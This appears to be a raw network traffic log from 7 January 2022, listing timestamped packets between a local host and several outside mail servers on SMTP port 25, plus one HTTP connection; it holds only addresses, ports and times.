Jan 7, 2022 15:54:28.192869902 CET	25	49798	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:28.192898989 CET	25	49798	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:28.192991972 CET	49798	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:28.193027020 CET	49798	25	192.168.2.3	74.208.5.22
Jan 7, 2022 15:54:28.326421022 CET	25	49798	74.208.5.22	192.168.2.3
Jan 7, 2022 15:54:30.054308891 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.080738068 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.080820084 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.109910011 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.110079050 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.136423111 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.141891956 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.142045975 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.168731928 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.168874025 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.200501919 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.302759886 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.340934038 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.341038942 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.344479084 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.344607115 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.367285967 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.367603064 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.374404907 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.374895096 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.386466980 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.386653900 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.401163101 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.401189089 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.401200056 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.401216984 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.401231050 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.401278019 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.401355982 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.406419992 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.406503916 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427540064 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427560091 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427570105 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427581072 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427592039 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427603006 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427613974 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427623987 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427630901 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427642107 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427651882 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427658081 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427663088 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427674055 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427685022 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427722931 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427764893 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427771091 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427782059 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427810907 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427820921 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.427822113 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427845955 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.427913904 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.428352118 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.428364992 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.428486109 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.431183100 CET	49782	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:30.432698011 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.432710886 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.432789087 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.432846069 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454052925 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454075098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454093933 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454111099 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454128981 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454148054 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454152107 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454164982 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454183102 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454185963 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454200983 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454220057 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454237938 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454240084 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454255104 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454272985 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454281092 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454289913 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454303026 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454308033 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454325914 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454334021 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454344988 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454364061 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454381943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454389095 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454400063 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454417944 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454427958 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454437017 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454447985 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454454899 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454473972 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454485893 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454490900 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454509974 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454516888 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454528093 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454545975 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454550982 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454562902 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454581022 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454595089 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454598904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454617977 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454629898 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454634905 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454653025 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454670906 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454679012 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454688072 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.454711914 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.454740047 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.458966970 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.458996058 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.459019899 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.459042072 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.459070921 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.459151030 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.470061064 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.470093012 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.470237970 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.471596956 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.481014013 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481072903 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481111050 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481137991 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481148958 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481175900 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481185913 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481225014 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481246948 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481261969 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481271982 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481292963 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481328011 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481404066 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481446028 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481479883 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481484890 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481506109 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481551886 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481558084 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481601000 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481625080 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481637955 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481648922 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481692076 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481705904 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481743097 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481766939 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481781006 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481803894 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481823921 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481852055 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481864929 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481877089 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.481909037 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481944084 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.481981039 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482007980 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482018948 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482038975 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482055902 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482074022 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482094049 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482115030 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482131958 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482162952 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482173920 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482206106 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482213974 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482238054 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482249975 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482286930 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482290983 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482315063 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482325077 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482341051 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482362986 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482383013 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482402086 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482435942 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482438087 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482462883 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482475996 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482494116 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482513905 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482536077 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482551098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482573032 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482588053 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482609987 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482625008 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482647896 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482661009 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482687950 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482697010 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482719898 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482733965 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482757092 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482770920 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482793093 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482810020 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482832909 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482845068 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482866049 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482882977 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482903957 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482922077 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482952118 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482959032 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.482975960 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.482999086 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483022928 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483036041 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483055115 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483073950 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483095884 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483112097 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483150959 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483165979 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483182907 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483186960 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483203888 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483222961 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483239889 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483258963 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483289957 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483294964 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483314991 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483331919 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483359098 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483371019 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483393908 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483408928 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483438015 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483445883 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483474970 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483484030 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483510017 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483537912 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483562946 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483591080 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483629942 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483653069 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483665943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483702898 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483720064 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483736992 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483747959 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483773947 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483793020 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483812094 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483817101 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483850002 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.483870983 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.483902931 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485398054 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485440016 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485476971 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485506058 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485510111 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485533953 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485548019 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485557079 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485578060 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485584021 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485615969 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485619068 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485641956 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485656023 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.485665083 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.485714912 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.493052006 CET	49783	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:30.495843887 CET	25	49803	104.47.17.161	192.168.2.3
Jan 7, 2022 15:54:30.495994091 CET	49803	25	192.168.2.3	104.47.17.161
Jan 7, 2022 15:54:30.510152102 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510180950 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510199070 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510257006 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510262966 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510281086 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510289907 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510340929 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510350943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510396004 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510411024 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510447979 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510524988 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510540962 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510550976 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510582924 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510613918 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510632038 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510698080 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510754108 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510762930 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510812044 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510852098 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510868073 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.510900021 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510921001 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.510955095 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511001110 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511091948 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511140108 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511158943 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511174917 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511192083 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511204958 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511231899 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511236906 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511290073 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511367083 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511382103 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511416912 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511435986 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511436939 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511477947 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511852026 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.511871099 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511885881 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511914968 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.511949062 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511960030 CET	25	49802	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:30.511972904 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.511976957 CET	25	49801	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:30.512029886 CET	49801	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:30.512070894 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.512087107 CET	49802	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:30.512087107 CET	25	49801	108.177.119.26	192.168.2.3
